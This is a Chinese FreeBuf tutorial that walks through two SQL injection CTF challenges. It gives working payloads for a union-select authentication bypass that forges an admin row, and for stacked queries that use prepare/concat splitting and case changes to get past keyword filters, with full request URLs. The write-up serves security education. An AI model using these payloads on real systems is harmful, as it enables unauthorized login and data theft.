freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

两种特殊场景的sql注入思路介绍
ATL实验室 2020-11-23 08:46:05 190594

之前我为大家介绍了sql注入的基础知识以及注入点判断和常见的注入手法,但是在实际的环境中往往不会像靶场中那样简单。今天我就来为大家介绍两种特殊场景的sql注入思路。

0x01 用户名与密码分开验证的情况

第一个场景我们以We Chall平台的Training: MySQL II 一题为例。

进入题目可以看到有一段提示,以及一个登录框:

提示的信息大概意思就是,这道题与MySQL I相同,但是这次我们需要使用更高级的注入才能骗过这种身份认证,这次的任务就是以管理员身份登录,并且为我们提供了源代码。

提示中提到的MySQL I我这里也简单说一下,就是一个我们之前提到过的,输入用户名admin' #跳过密码验证的基础注入技巧。

那么我们来看这回的MySQL II有什么不同吧,既然他给我们提供了源代码,我们就先来看看吧:

<?php
/* TABLE STRUCTURE
CREATE TABLE IF NOT EXISTS users (
userid    INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
username  VARCHAR(32) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
password  CHAR(32) CHARACTER SET ascii COLLATE ascii_bin NOT NULL
) ENGINE=myISAM;
*/

# Username and Password sent?
if ( ('' !== ($username = Common::getPostString('username'))) && (false !== ($password = Common::getPostString('password', false))) ) {
auth2_onLogin($chall, $username, $password);
}

/** * Get the database for this challenge.
* @return GDO_Database
*/
function auth2_db()
{        if (false === ($db = gdo_db_instance('localhost', WCC_AUTH_BYPASS2_USER, WCC_AUTH_BYPASS2_PASS, WCC_AUTH_BYPASS2_DB))) {
die('Database error 0815_2!');
}
$db->setLogging(false);
$db->setEMailOnError(false);        return $db;
}

/**
* Exploit this! It is the same as MySQL-I, but with an additional check, marked with ### * @param WC_Challenge $chall
* @param unknown_type $username
* @param unknown_type $password
* @return boolean
*/
function auth2_onLogin(WC_Challenge $chall, $username, $password)
{
$db = auth2_db();
$password = md5($password);        
$query = "SELECT * FROM users WHERE username='$username'";
if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
return false;
}
#############################
### This is the new check ###
if ($result['password'] !== $password) {
echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
return false;
} #  End of the new code  ###        
#############################
echo GWF_HTML::message('Auth2', $chall->lang('msg_welcome_back', array(htmlspecialchars($result['username']))), false);
if (strtolower($result['username']) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}
return true;
}
?>
<form action="index.php" method="post">
<table>
<tr>
<td><?php echo $chall->lang('username'); ?>:</td>
<td><input type="text" name="username" value="" /></td>
</tr>
<tr>
<td><?php echo $chall->lang('password'); ?>:</td>
<td><input type="password" name="password" value="" /></td>
</tr>
<tr>
<td></td>
<td><input type="submit" name="login" value="<?php echo $chall->lang('btn_login'); ?>" /></td>
</tr>
</table>
</form>

代码很长,看起来好像很复杂的样子。没有关系,我们只需要关注他是如何验证的部分就可以了,这里我也很贴心的帮大家把验证部分的代码截出来并带大家一起分析一下:

function auth2_onLogin(WC_Challenge $chall, $username, $password)
{
$db = auth2_db();
$password = md5($password);    #将密码进行md5加密
$query = "SELECT * FROM users WHERE username='$username'"; #sql查询语句

if (false === ($result = $db->queryFirst($query))) { #判断是否未查询到数据
echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false); 
return false; 
} #如果没查询到数据提示用户名未知,并返回false

if ($result['password'] !== $password) { #判断查询到的密码与输入的是否不一致
echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
return false; 
} #如果输入的密码与查询出的不一致提示密码错误,并返回false

echo GWF_HTML::message('Auth2', $chall->lang('msg_welcome_back', array(htmlspecialchars($result['username']))), false); 
#检查都通过提示欢迎回来,并显示登陆的用户名。

if (strtolower($result['username']) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
} #判断如果查询出的用户名为‘admin’则判断解题成功。

return true;
}

通过分析代码,我们可以看到,这道题的sql查询语句本来就是只查询用户名,然后再将密码与查询出的密码对比,而不是通过判断sql语句是否返回数据来判断是否验证成功的,这样我们就无法通过常规的截断sql查询语句来绕过密码验证。

这里我们就可以利用另一种方法:通过联合查询(union select)构造我们自定的用户名与密码来骗过程序。

通过分析源代码最开始告诉我们的表结构我们知道了表中一共有3个字段:userid,username,password。那么我们联合查询时同样查询对应的三个字段,将用户名与密码构造为我们自定的,然后将union前的语句查询值变为假即可使返回值变为我们自定的内容。

我们在本地环境中尝试搭建一个与题目相同的表,查询一下试试,看看是否可以任意构造用户名与密码。

我们可以看到我向表中随意插入了4条记录,并且用户admin的密码为nicaicai,这时我们尝试构造一个用户名为:ATL,密码为:Ocean的用户试试。

sql查询语句构造为:

SELECT * FROM users WHERE username='1' union select 1,'ATL','Ocean';

我们可以看到确实返回了一条我们构造的用户记录。通过这种方法,我们就可以让程序以为我们构造的数据是从数据库中查询出的数据,从而让我们可以使用任意的身份登录了。

那么在这里的具体解题方法就是是在username栏填写:1' union select 1,'admin',md5('123');#

那么为什么要这样填写呢?我们来分析一下这样填写sql语句会变成怎样的:

SELECT * FROM users WHERE username='1' union select 1,'admin',md5('123');#'

首先union前查询的username可以随便填写,只要在表中没有的值即可,其次因为代码中密码在判断前会进行md5加密,所以要在构造时将我们的密码也进行md5加密。最后#是为了将最后面的单引号注释掉。

这样我们在username一栏填写:1' union select 1,'admin',md5('123');#

password一栏填写:123

就可以完成题目了:

0x02 过滤了某些查询关键字的情况

第二个场景我们以攻防世界中web方向高手进阶区的supersqli一题为例:

题目描述就是随便注,那我们也话不多说直接进入题目场景:

进入场景后只有一个输入框,我们就直接提交一下看看


可以看到提交了一个inject参数,页面显示了一个数组出来。

那么我们就按常规方法,先添加一个单引号试试:


页面有报错,并且可以判断出是字符型注入,单引号闭合。直接尝试进行联合查询注入:

结果发现程序过滤了select、update、delete、drop、insert、where等关键词,那我们就不能通过常规方法来直接进行注入。

这里我们就可以通过堆叠查询的方法,通过show tables;来查看所有的表:

http://220.249.52.133:52142/?inject=-1';show tables;#

以及show columns from [表名];来显示表中的字段:

http://220.249.52.133:52142/?inject=-1';show columns from `words`;show columns from `1919810931114514`;#

这里需要注意纯数字的表名需要使用反引号“`”包裹,原因是反引号是为了区分mysql的保留字符和普通字符而引入的符号,所以数据库、表、索引、列和别名都是用反引号包裹。不仅纯数字的表名需要,涉及到mysql保留字符的名称比如,select、and、or、as等等还有很多字符作为库名、表名、字段名等等这些名字使用时都需要使用反引号包裹才能查询出信息。

查看页面可以看到在表“1919810931114514”中有一个名为“flag”的字段,我们需要查询的目标就是他了。

但是select被过滤了不能使用,要怎么才能查询出字段中的信息呢?这里我们就可以使用预编译与concat()函数结合的方式来绕过。

优先介绍一下预编译的用法:

执行预编译语句,例如:prepare [语句名] from 'select * from users where userid=?'
设置变量,例如:set @[变量名]='3'
执行语句,例如:execute [语句名] using @[变量名]

这道题我们可以将查询语句从select中间拆开,然后再使用concat()来拼接在一起作为变量,来绕过select的过滤,然后执行即可。具体代码如下:

set @sql=concat("sel","ect * from `1919810931114514`;");
prepare ATL from @sql;
execute ATL;

访问的URL:http://220.249.52.133:52142/?inject=-1';set @sql=concat("sel","ect * from `1919810931114514`;");prepare ATL from @sql;execute ATL;#

访问后发下还限制了“set”和“prepare”:

不过使用的是strstr()函数,这个函数是会区分大小写的,于是我们果断使用大小写绕过:

访问的URL:http://220.249.52.133:52142/?inject=-1';sEt @sql=concat("sel","ect * from `1919810931114514`;");pRepAre ATL from @sql;execute ATL;#

成功拿到flag。到此就成功解出了这道题。

0x03 小结

通过这两道题我们也可以发现,很多时候sql注入的方式都不是固定的,使用基础的注入方式,往往效果都不能达到预期。同样只会使用工具也不能应对所有的场景,只有我们去多尝试,多积累,见多识广了之后才能遇到任何场景都可以游刃有余。

# SQL注入 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 ATL实验室 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
ATL实验室 LV.4
这家伙太懒了,还未填写个人描述!
  • 48 文章数
  • 133 关注者
密评 | OFD文件电子签章解析及签名验签
2024-07-14
密评 | IPSec流量包分析以及对各个消息的手工解析
2024-05-19
密评 | PDF文件中电子签章手工验签
2024-05-08
文章目录